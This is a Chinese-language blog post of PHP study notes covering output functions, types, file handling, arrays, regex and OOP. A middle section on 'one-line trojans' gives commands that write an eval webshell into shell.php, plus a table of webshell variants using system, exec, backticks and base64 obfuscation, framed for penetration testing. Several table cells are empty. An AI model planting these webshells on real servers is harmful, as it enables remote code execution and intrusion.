(持續更新喲,點個關注和贊吧)
!!!如要學習具體深刻需要善於運用搜索引擎。!!!
php筆記可參考php手冊https://www.php.net/
php的構成與理解
眾所周知,php(超文本預處理器)是一種基於B/S結構的解釋性語言,在我們深入理解php語言之前,我們可能都接觸過了比較基礎的php語言,再此就不詳細展開細節了,我們先從其基礎和結構理解開始並學會使用php。
php的輸出函數
通常我們使用echo或print來輸出某些字符串;如果要格式化輸出操作,我們通常使用printf()函數或者sprintf()函數。
在我們使用php語言時,我們經常會遇到這么一些詞語,他們有特殊的意義但不是函數,只是一種特殊的語言結構,這些被我們稱為php關鍵詞,如print,echo,array等,詳情可翻閱php手冊https://www.php.net/manual/zh/reserved.keywords.php
1.print和echo都不是真正的函數,但都可以以帶有參數的函數形式進行調用,echo要比print速度快,print有函數返回值可以作為表達式的一部分。(優劣比較及使用不做推薦)
echo | ||
輸出 | 可同時輸出多個字符串 | 可同時輸出一個字符串 |
使用錯誤抑制符@ | 不能 | 能 |
函數返回值 | 無 | int類型的1 |
參數 | 支持多參數,用英文逗號","連接成多個參數 或用英文點號"."連接成一個參數 |
只支持一個參數,可用英文點號"."連接成一個參數 |
printf()函數將一個格式化的字符串輸出到瀏覽器中,舉例:
在php手冊中printf()函數的定義為printf ( string $format
, mixed ...$values
) : int
<?php $number = 9; $str = "廣東"; printf("在%s有%u百萬輛自行車。",$str,$number); ?>
瀏覽器輸出 //在廣東有 9 百萬輛自行車。
舉例一些format值
-
%% - 返回百分比符號
-
%b - 二進制數
-
%c - 依照 ASCII 值的字符
-
%d - 帶符號十進制數
-
%e - 可續計數法(比如 1.5e+3)
-
%u - 無符號十進制數
-
%f - 浮點數(local settings aware)
-
%F - 浮點數(not local settings aware)
-
%o - 八進制數
-
%s - 字符串
-
%x - 十六進制數(小寫字母)
-
%X - 十六進制數(大寫字母)
sprintf()函數是返回一個格式化后的字符串,舉例:
在php手冊中sprintf()函數的定義為sprintf ( string $format
, mixed ...$values
) : string
<?php $number = 2; $str = "guangdong"; $txt = sprintf("There are %u million cars in %s.",$number,$str); echo $txt; ?>
瀏覽器輸出 //There are 2 million cars in guangdong.
通過以上實例可以看出很明顯的區別,printf()函數和sprintf()函數不同之處在於:
(1)printf()函數可以直接將格式化之后的字符串輸出,而sprintf()函數需要使用echo方法將格式化后的字符串輸出。
(2)printf()函數的返回值為int類型,表示打印出來字符串的字符數量,而sprintf()函數的返回值為一個字符串。
(3)sprintf()函數不顯示格式化的字符串,因而非常適合於生成數據庫查詢語句,從而避免SQL與變量混合。舉例:
假設我們向這個php輸入數據,即name用戶可控,構造的payload為?name=xluo/
(ps: mysql_real_escape_string(string, connection)函數作用是轉義SQL語句中的特殊字符,成功返回字符串,失敗返回false,php前面連接數據庫不做示范。
sql語句為INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....),關於數據庫語句筆者以后的文章會講到)
<?php $id = 6.00;
$name=$_GET["name"];
$sql = sprintf("insert into table table_name(id,name) values (%d,'%s')",$id, mysql_real_escape_string($name));
echo $sql;
?>
瀏覽器輸出 //insert into table table_name(id,name) values (6,'xluo\/')
php中的一句話
在我們學習和了解php的一句話木馬之前,我們需要先了解以下引號之間的不同。
2.雙引號""中,變量名稱將被變量值替代!(瀏覽器用echo命令寫入一句話的時候記得\注釋);
單引號''中,變量名稱或其他任何文本將不經修飾發送給瀏覽器;
反向單引號``中,里面的命令將試着當作服務器端命令行命令來執行(通常引號被過濾可以考慮用反向單引號)。
示例,以下是將一句話寫入名為shell.php中,為了防止命令出錯,單引號中不能使用單引號、雙引號中不能使用雙引號(除非將里面的引號進行轉義):
環境 | windows | Linux |
echo寫入一句話 | echo ^<?php @eval($_GET['pass']);?^>>shell.php | echo ' |
echo ' | ||
echo " | ||
echo " |
Windows下echo寫入一句話時不用加引號,不然會將引號也寫進去,同時對尖括號需要進行轉義(Windows的cmd中我們通常用^進行轉義),否則cmd處理的時候會出現錯誤。
Linux下echo寫入php一句話中我們通常使用如上表格最上面的命令,因為單引號中$不會被當成變量處理從而完整地將一句話寫入shell.php中,同時我們需注意因為單引號的使用,所以我們GET方法傳入參數pass時用的是雙引號。
在漏洞探尋和滲透測試中,單引號和雙引號的使用往往是一個小細節,能夠減少我們debug的時間並得到正確結果。
現在來了解一下php的一句話,通常來說,為了讓傳入的這一句話木馬能發揮巨大的作用,我們采用了以上表格命令,現在來詳細解讀一下這個一句話木馬:
我們傳入的是<?php @eval($_GET["pass"]);
assert()函數(ps:在PHP7.1版本以后,assert()默認不再可以執行代碼) | <?php assert($_GET["pass"]);?> |
system()函數 | <?php system($_GET["pass"]); |
passthru()函數 | <?php passthru($_GET["pass"]); |
exec()函數 | <?php exec("$_GET['pass']",$a);print($a);?> |
shell_exec()函數 | <?php $a=shell_exec("$_GET['pass']");var_dump($a);?> |
使用反引號`執行代碼(ps:要確保shell_exec函數可用,否則無法用) | <?php echo `$_POST['pass']`;?> |
也可使用popen()函數打開進程執行命令,自行百度、嘗試,這里不做舉例。
如果你是開發者,當你使用這些函數來執行系統命令時,可以使用escapeshellcmd()和escapeshellarg()函數阻止用戶惡意在系統上執行命令,escapeshellcmd()針對的是執行的系統命令,而escapeshellarg()針對的是執行系統命令的參數。
普通的一句話GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此) | <?php @eval($_GET["pass"]); |
用php變量表示(ps:eval不能作為變量函數去執行) | |
php變量表示變形1(ps:大小寫混淆) |
|
php變量表示變形2(ps:字符串拼接) |
|
php變量表示變形3(ps:字符串拼接、大小寫混淆、字符串逆序) |
|
PHP可變變量(ps:變量的變換) | |
使用create_function函數 | |
自定義函數 | |
使用call_user_func()函數(ps:調用函數) | |
使用call_user_func_array()函數 |
|
base64_decode 函數 | <?php $a=base64_decode("cGFzc3RocnU="); @a($_POST['pass']);?> |
preg_replace函數(ps: 如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行。) |
|
array_map()函數(ps:array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新的值的數組。) | <?php $a=$_GET['1'];$cmd=$_POST['2'];$array[0]=$cmd;$new_array=array_map($a,$array); echo $new_array;?> |
array_filter()函數 |
<?php $a=$_POST['1'];$array1=array($a);$b=$_GET['2'];array_filter($array1,$b);?>
|
pares_str函數(ps:結果$a=eval) |
|
str_replace函數(ps:結果$a=assert) |
|
uasort()函數、usort()函數 |
|
|
|
動態函數 |
3.用gettype()函數獲取變量類型,用settype()函數改變變量類型,intval()轉為整數
類型有bool,int,double(浮點型),string,array,object,resource,NULL。
除此之外php還有很多特定的類型測試函數is_xxx(),如is_array(),is_scalar(),is_numeric()等等。
4.isset()變量存在且值不為null返回true,其余相反,
empty()變量存在且是一個非空非零的值時返回false,其余相反。
5.elseif等於else if,在一系列的級聯elseif語句中,只有第一個為true條件下的語句將被執行。
6.如果沒有break,switch語句將執行case值為true的以下所有代碼,例如
當$a的值為0時將執行所有語句,當$a的值為2時只執行最后一條語句。
7.==為弱等於,===為恆等於。
8.fopen()文件模式作用(ps:打開文件,從文件頭開始):
r(只讀)。(ps:無)
r+(讀寫)。(ps:無)
w(寫)。(ps:如果文件已存在,將刪除文件所有內容,如不存在將創建)
w+(讀寫)。(ps:無)
x(謹慎寫)。(ps:如果已有文件,則不會打開且返回false,且php產生一個警告)
x+(謹慎讀或寫)。(同上)
a(追加寫)。(ps:如已有文件,從文件末尾開始追加,如沒有,則創建。)
a(追加寫或讀)。(同上)
b(二進制)。(用於與其他模式進行連接……)
t(文本)。
(ps:以上字母后面是作用,並不是嚴格意義的模式名稱)
9.fputs()是fwrite()的別名,可用file_put_contents()代替fwrite()。
10.feof()唯一參數是文件指針,如指向文件末尾則返回true。
使用feof()作為文件結束的測試條件。
11.fgets()讀取文件內容,每次一行。
fgetss()同上,還可選擇過濾。
fgetcsv()當使用了分隔符(例如制表符或者逗號)的時候可以選擇分行,
可用explode(),implode()(同join()作用),join()(效果和explode()相反),strtok()(一次從字符串取一個子字符串) 分隔。
12.讀取整個文件:readfile(),fpassthru()(ps:需要先用fopen()打開文件,然后再將文本指針作為參數傳遞給fpassthru(),這樣就可以把所指向文件內容發送到標准輸入,然后再將文件關閉。成功返回true失敗返回false。),file()(把結果發送到一個數組),file_get_contents()(以字符串的形式返回文件內容)。
13.讀取一個字符fgetc(),一次讀取一個字符。讀取任意長度fread()。
14.查看文件是否存在file_exists()。確定文件大小filesize()。刪除一個文件unlink()。可以對文件指針進行操作,在文件中定位:rewind(),fseek(),ftell()。文件鎖定flock()(ps:無法在NFS或其他網絡文件系統中使用,無法在多線程服務器API中使用)。
!!!如要學習具體需要善於運用搜索引擎。!!!
15.array()和echo一樣實際上是一個語言結構而不是函數。(可用[]代替array()。)
sort()(按值從小到大排序), rsort()(加r反序),usort()(加u自定義);
asort()(對數組進行排序並保持索引關系),arsort()(加r反序),uasort()(加u自定義);
ksort()(按照鍵名排序),krsort()(加r反序),uksort()(加u自定義)。
使用以上函數進行排序,或創建用戶自定義排序函數或使用array_multisort()函數。
也可使用array_reverse()(與原來數組相反排序),shuffle()隨機。
“=”可以將數組復制到另一個數組,添加數組元素array_push(),刪除數組元素array_pop()。sizeof()是count()的別名函數。
通過count(),sizeof(),array_count_values() 統計數組元素。
16.訪問數組可用[]或{}。foreach()循環轉為數組和對象打造,索引數組也可用list()(ps:可以將一個數組分解為一系列的值)和each()(ps:返回數組的當前元素,並將下一個元素作為當前元素,數組將記錄當前元素,如需多次使用數組,用reset()函數將當前元素作為數組的開始。)
extract()將數組轉化為標量變量。
以相同方式使用或者修改數組中每一個元素用array_walk()。
17.鍵與值之間用=>符號。
18.<>與!=相同。+為聯合操作符,嘗試把后面數組元素添加到前面數組的末尾,若具有相同的鍵則不被添加。
19.了解算術操作符,邏輯操作符,位操作符,比較操作符,數組操作符等。
20.數組瀏覽:each(),next(),使指針指向下一個元素。
prev()(和next()相反),end(),逆序遍歷。
current()(返回數組中的當前單元),pos()(current()的別名)。
reset()(前文有)。
21.字符串截斷(默認除去字符\n,\r,\t,\x0B,\0,空格):
trim()(還除去字符串開始位置和結束位置的空格,並返回)
rtrim()的別名函數chop()(從結束處除去空格)
ltrim()(從開始處除去空格)
22.使用htmlspecialchars()函數過濾輸出至瀏覽器的字符串(實體編碼)。
使用str_replace(),substr_replace()函數進行過濾或替換子字符串。
使用nl2br()函數進行html格式化。使用substr()得到某個固定格式字符串的一部分。
23.了解轉換規范支持的類型碼
24.字符串的排序:strcmp(),strcasecmp()(不區分大小寫),strnatcmp()(按照自然排序)
25.strlen()判斷字符長度,學會使用get_meta_tags(),
26.在字符串中查找字符串:strstr(),strchr(),strrchr(),stristr()
27.查找子字符串的位置:strpos()和strrpos()
parse_str(),將字符串解析成多個變量。
parse_url(),解析url返回其組成部分。
28.了解正則表達式,目前通常是perl風格,使用PCRE正則表達式,每個表達式必須包含在一對分隔符中,最常見的分隔符是 / ,如/xluo/。
如果要在正則表達式中匹配/或者特殊字符需要用反斜杠\轉義,如/xluo\/\//,PCRE正則表達式語法鏈接。了解模式修飾符,鏈接。
(ps:在一個雙引號引用的php字符串中使用\需要\\,這就導致需要使用四個反斜杠\\\\來表示一個包含在正則表達式的反斜杠字符\,如表示$字符需使用\\\$,因為字符串被引用在雙引號中,php解釋器將其解析為\$,而正則表達式解釋器將其解析成一個$字符)
了解正則表達式符號,鏈接,方括號中的表達式只匹配一個字符,可使用-來描述一個范圍,如/[a-zA-Z]/表示代表大小寫任何字母。
了解正則的預定字符類,如[[:word:]]匹配"word"字符(字母數字或下划線)鏈接。
外部方括號分隔字符類,而內部方括號是字符類名稱的一部分,如/[[:alpha]1-5]/匹配的是包含字母字符或1到5數字的字符。
了解子表達式,/(very )*large/可以匹配"large""very large""very very large"等。
/(very ){1,3}/,表示匹配"very ","very very ","very very very "。
了解PCRE正則表達式中用於方括號里面的特殊字符\^-和用於方括號外面的特殊字符\^$.|()*+{}?
了解轉義序列\的三種用法(ps:了解轉義序列第三種\d,\D,\h,\H,\s,\S,\v,\V,\w,\W)
29.脫字符號^用於正則表達式的開始,字符$用於正則表達式的結尾,思考/^xluo/,/xluo$/,/^xluo$/分別匹配什么。
30.通過|來進行模式選擇/aa|bb|cc/匹配aa,bb或cc。
31.了解回溯引用。
32.理解PCRE正則表達式的斷言。
33.preg_match()函數正則表達式如匹配到返回1,如沒有匹配到返回0,如果出現匹配錯誤返回false,故通常用===來進行判斷檢查返回值,避免混淆。
preg_split()函數使用正則表達式分割字符串。
了解其他PCRE正則表達式函數。
34.了解require()和include()函數來支持代碼重用,載入文件時會作為php文件一部分被執行。
require_once()和include_once()確保一個被引入的文件只能被引入一次,而且速度比上面的更快。
35.了解auto_prepend_file()和auto_append_file()
36.了解調用函數,且函數調用不區分大小寫。了解自定義函數。
37.了解函數基本結構,如以下是成立的:
38.php不支持函數重載,所以函數命名需注意不能亂命名,了解函數命名規則。
39.了解參數的使用,傳遞參數允許我們獲得在函數外部生成的數據,可選參數在調用時不能以間隔的方式給出,參數將按照從左到右的順序進行賦值。
40.理解作用域,明白函數內的global $var;是聲明全局變量。
41.了解return;將終止執行函數,也可返回結果。
42.簡單了解遞歸函數,遞歸慢且占內存,通常我們通過循環代替遞歸。
43.了解匿名(閉包)函數。
44.理解面向對象概念,了解類和對象,了解多態性和繼承。
<?php
class classname { public $a public $b function aaa(){} }
?>
上面創建了一個簡單的類,它具有兩個屬性$a和$b,它有一個方法aaa(){}沒有帶參數
45.了解構造函數__construct()和析構函數__destruct(),鏈接。
46.了解類的實例化,通常使用new來創建一個對象,需要指定創建的對象是哪一個類的實例,並且為構造函數提供任何所需的參數。
47.熟悉使用類屬性,在一個類中可以訪問一個特殊的指針$this,當在該類中通過一個操作設置或訪問該變量時,可以用 $this->我是變量 來引用,了解->,鏈接。
48.可以用調用類屬性相同的方法調用類操作,可以按照調用其他函數的方法調用類操作:操作名稱以及必要參數。
49.了解使用private和public關鍵字控制訪問,了解訪問修飾符,鏈接。
public,默認,公有屬性或方法可以在類的內部和外部進行訪問。
protect,只能在類內部進行訪問。
private,只能在類內部直接進行訪問。
50.嘗試編寫訪問器函數
51.了解php繼承,可以看看筆者關於JavaScript原型鏈繼承及污染也可觸類旁通。
php繼承可以使用關鍵字extends,
以上對$xluo的操作全部成立,因為類B繼承了類A。
52.通過繼承使用private和protected控制可見性。
如果屬性被指定為private,它將不能被繼承,
如果屬性被指定為protected,它將在類外部不可見,但是可以被繼承。
53.了解php的覆蓋,子類重載(覆蓋)父類,parent允許調用父類操作的最初版本,比如聲明類B,繼承類A,因此繼承了類A和類A父類(如果有)的所有特性,類B可以選擇覆蓋和替換父類的屬性和操作,鏈接。
54.可使用final關鍵字禁止繼承和覆蓋
以上class B extends A(類B繼承類A)時,可以禁止類B覆蓋xluo()方法。
也可以用final在class前面防止class被繼承。
55.理解多重繼承,php不支持多重繼承,每個類只能繼承一個父類。
但php中提供了兩種機制來支持類多重繼承功能:接口(類似Java)和Trait。(建議使用Trait)
實現接口示例,鏈接。
使用Trait,鏈接。(ps:若類已繼承獲得了繼承的方法並使用Trait,覆蓋優先級為Trait方法覆蓋繼承的方法,但當前類方法覆蓋Trait的方法)了解多個Trait沖突的解決辦法。
56.學會編寫自定義類代碼。
57.理解php面向對象高級功能。
58.了解使用類級別常量。php提供了類級別常量的思想,這個常量可以在不初始化類的情況下使用,可以通過::操作符並指定常量所屬的類來訪問類級別的常量。
59.實現靜態方法。使用static關鍵字,允許在未初始化類的情況下調用方法(等價於類級別常量的思想)。
60.檢查類類型和類型提示,通常使用instanceof,檢查一個對象是否是特定的類的實例,是否是某個類繼承過來或是否實現了某個接口。
比如類B繼承(extends)類A,且類A、類B和接口Xluo都位於當前的作用域,那么{$b instanceof B}將返回true,{$b instanceof A}將返回true,{$b instanceof Xluo}將返回false。
使用類類型提示可以指定必須傳入的參數類類型
function xluo(B $a)
61.延遲靜態綁定。
62.對象克隆。了解__clone()方法
63.使用抽象類。
64.使用__call()重載方法。
65.使用__autoload()方法。
66.實現迭代器和迭代。
67.了解生成器。
68.將類轉化為字符串。實現__toString()函數。
69.使用反射API。
70.了解名稱空間,了解使用子名稱空間,理解全局名稱空間,名稱空間的導入和別名
71.了解異常處理的概念。throw關鍵字異常處理機制,同時它是一個語言結構而不是函數,但必須給它傳遞一個值。
72.了解Exception類,其構造函數有三個參數,錯誤消息、錯誤代碼及前序異常。
73.學會用戶自定義異常。
74.了解異常和其他錯誤處理機制。
76.
---php學習的事情就先告一段落了,之后有遇到的話再補上---